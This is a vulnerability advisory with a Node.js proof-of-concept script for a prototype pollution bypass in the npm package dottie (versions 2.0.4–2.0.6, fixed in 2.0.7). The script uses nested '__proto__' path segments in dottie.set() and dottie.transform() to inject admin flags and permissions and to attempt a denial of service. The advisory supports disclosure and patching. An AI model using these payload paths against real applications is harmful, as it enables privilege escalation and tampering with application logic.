============================================================================================================================================= | # Title : dottie 2.0.4–2.0.6 Incomplete Prototype Pollution Allows Bypass via Nested __proto__ Segments | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : https://www.npmjs.com/package/dottie | ============================================================================================================================================= [+] Summary : CVE-2026-27837 describes an incomplete patch in dottie versions 2.0.4 through 2.0.6, following the original CVE-2023-26132 fix attempt. The protection added in commit 7d3aee1 validates only the first segment of a dot-separated property path against dangerous keys such as __proto__. However, the validation fails to inspect subsequent path segments. An attacker can therefore bypass the guard by placing __proto__ in any position other than the first (e.g., user.__proto__.isAdmin). As a result, both: dottie.set() dottie.transform() remain vulnerable to Prototype Pollution. [+] Impact An attacker controlling object paths can: Inject properties into Object.prototype Escalate privileges (e.g., force isAdmin = true) Manipulate application logic Inject arbitrary inherited permissions Trigger Denial of Service (DoS) by overwriting prototypes Because polluted properties are inherited rather than owned, they often bypass standard validation checks like hasOwnProperty, making detection difficult. [+] Affected Versions 2.0.4 2.0.5 2.0.6 [+] Fixed Version 2.0.7 Version 2.0.7 introduces a comprehensive validation of all path segments, properly blocking dangerous keys regardless of position. [+] POC : exploit.js const dottie = require('dottie'); console.log("=== Scenario 1: dottie.set() Bypass ==="); const session = {}; const path = "user.__proto__.isAdmin"; dottie.set(session, path, true); console.log("Resulting Object Structure:"); console.log("- session.user.isAdmin:", session.user.isAdmin); console.log("- Is 'isAdmin' an own property?:", session.user.hasOwnProperty('isAdmin')); console.log("- Object.keys(session.user):", Object.keys(session.user)); if (session.user.isAdmin) { console.log("CRITICAL: Unauthorized access granted! (Admin Privileges)"); } console.log("\n" + "-".repeat(40) + "\n"); console.log("=== Scenario 2: dottie.transform() Bypass ==="); const maliciousData = { "profile.name": "GuestUser", "profile.__proto__.permissions": ["read", "write", "delete"] }; const transformed = dottie.transform(maliciousData); console.log("Transformed Profile:"); console.log("- Name:", transformed.profile.name); console.log("- Permissions:", transformed.profile.permissions); if (transformed.profile.permissions.includes("delete")) { console.log("CRITICAL: User can delete records due to injected prototype property!"); } console.log("\n=== Scenario 3: Denial of Service (DoS) ==="); try { const crashObj = {}; dottie.set(crashObj, "data.__proto__", {}); console.log("Prototype overwritten successfully."); } catch (e) { console.log("Error during DoS attempt:", e.message); } Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================